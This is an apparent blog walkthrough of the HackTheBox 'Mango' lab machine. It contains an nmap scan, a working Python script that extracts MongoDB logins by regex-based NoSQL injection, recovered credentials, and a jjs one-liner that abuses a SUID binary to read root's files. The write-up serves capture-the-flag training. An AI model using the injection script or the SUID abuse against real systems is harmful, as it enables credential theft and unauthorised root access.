Hackthebox – Mango

As Always, start with a port scan

root@kalivm:~/Mango# nmap -A -oN fullscan-A 10.10.10.162
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-10 12:50 CET
Nmap scan report for 10.10.10.162
Host is up (0.014s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=11/10%OT=22%CT=1%CU=42474%PV=Y%DS=2%DC=T%G=Y%TM=5DC7F9
OS:A2%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST
OS:11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)EC
OS:N(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1723/tcp)
HOP RTT      ADDRESS
1   13.43 ms 10.10.14.1
2   13.55 ms 10.10.10.162 (10.10.10.162)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.71 seconds

So all we see is some open web server ports on HTTP (80) and HTTPS (443). Even more interesting is the name of the certificate on port 443, staging-order.mango.htb. Let’s add that to the /etc/hosts file and see if I can look at any of the pages.

First let’s visit the mango.htb page itself, the HTTP port shows an error 403 but the HTTPS page shows a google-like page with apparently a logged in account of MrR3boot, the creator of this box.

Another thing that is provided through this URL, is some sort of analytics page which does not really do much, other than cause a lot of confusion with external links in the various settings and configuration pages. Since the scope should be limited to Hackthebox, all these are to be ignored.

Next up was to take a look a the staging-order page which provides a login page for which I also don’t have credentials yet. After quite some googling and not finding anything useful, I got completely stuck and asked for a nudge on Discord. This nudge came in the form of a link to this CTF Blog about Mongo DB password extraction.

#!/usr/bin/env python
import requests
import string

url = "http://staging-order.mango.htb/index.php"

#Get the password for a provided username, According to the blog
#an error 302 should indicate that a character is correct.
def getPass(username):
    password = ""
    restart = True
    while restart:
        restart = False

        for i in string.printable:
            if i not in ['*','+','.','?','|','&','$','\\']:
                payload = password + i
                post_data = {'username': username, 'password[$regex]': "^"+payload + ".*", 'login':'login'}
                r = requests.post(url, data=post_data, allow_redirects=False)

            # A correct password means we get a 302 redirect

                if r.status_code == 302:
                    #print(payload)
                    restart = True
                    password = payload

    return password 

#Function to find the first user in the database. Same technique as with
#The password
def getUser():
    username = ""
    restart = True
    while restart:
        restart = False

        for i in string.printable:
            if i not in ['*','+','.','?','|','&','$','\\']:
                payload = username + i
                post_data = {'username[$regex]': "^"+payload + ".*", 'password[$gt]':''}
                r = requests.post(url, data=post_data, allow_redirects=False)

                if r.status_code == 302:
                    #print(payload)
                    restart = True
                    username = payload

    return username 

#Call the getUser() to get the first user in the DB, then call the
#getPassword with the discovered username to get the user's password
#and print all results.
username = getUser()
password = getPass(username)
print("Username = "+username)
print("Password = "+password)

So I modified the script provided on the Blog accordingly and after some trial and error, I run it the first time.

root@kalivm:~/Mango# ./brute.py 
Username = admin
Password = t9KcS3>!0B#2

So this could be valid credentials. Time to try them.

It worked! Time to try that on other locations too!

root@kalivm:~/Mango# ssh admin@mango.htb
admin@mango.htb's password: 
Permission denied, please try again.
admin@mango.htb's password:

After trying it on other locations such as SSH, the credentials did not work so I have to try and find more credentials. Using an educated guess, I tried to manually set the user ‘mango’ in the script and run it again.

root@kalivm:~/Mango# ./brute.py 
Username = mango
Password = h3mXK8RhU~f{]f5H

Now I have some additional credentials. Let’s try those on the SSH server.

root@kalivm:~/Mango# ssh mango@mango.htb
mango@mango.htb's password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)
----snip----
Last login: Sun Nov 10 15:14:23 2019 from 10.10.15.63
mango@mango:~$ ls

So the mango directory has no user.txt. Thats unexpected, time to find out if I can find the user.txt file somewhere on the system.

mango@mango:~$ find / -iname user.txt 2> /dev/null
/home/admin/user.txt
mango@mango:~$ cat /home/admin/user.txt 
cat: /home/admin/user.txt: Permission denied

So I can login as user mango but not access the user.txt which is in the admin directory. I have to become admin for which I have found the password previously. That password did not work on the SSH connection though.

mango@mango:~$ su - -s /bin/bash admin
Password: 
admin@mango:~$ cat user.txt 
79bf31c<NOFLAG>a8567832f7f8b47e92

Fortunately it does work with the Switch User command. This allowed me to get the flag!

Privilege escalation

Next step is to get the root flag, so I start browsing around first keeping g0tm1lk’s basic privilege escalation guide again in mind.

admin@mango:~$ find / -perm -u=s -type f 2>/dev/null |grep -v 'snap/core'
/bin/fusermount
/bin/mount
/bin/umount
/bin/su
/bin/ping
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgidmap
/usr/bin/run-mailcap
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/at
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine

One of the things that stood while looking for SUID binaries out was JJS which I knew I had seen on the GTFOBins page before. This indeed had a nice guide on how to abuse a jjs binary that has SUID root permissions set.

admin@mango:~$ echo 'var BufferedReader = Java.type("java.io.BufferedReader");
> var FileReader = Java.type("java.io.FileReader");
> var br = new BufferedReader(new FileReader("/root/root.txt"));
> while ((line = br.readLine()) != null) { print(line); }' | jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> var BufferedReader = Java.type("java.io.BufferedReader");
jjs> var FileReader = Java.type("java.io.FileReader");
jjs> var br = new BufferedReader(new FileReader("/root/root.txt"));
jjs> while ((line = br.readLine()) != null) { print(line); }
8a8ef79a<NOFLAG>ea81688424e9ab15

This allowed me to get the root flag!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.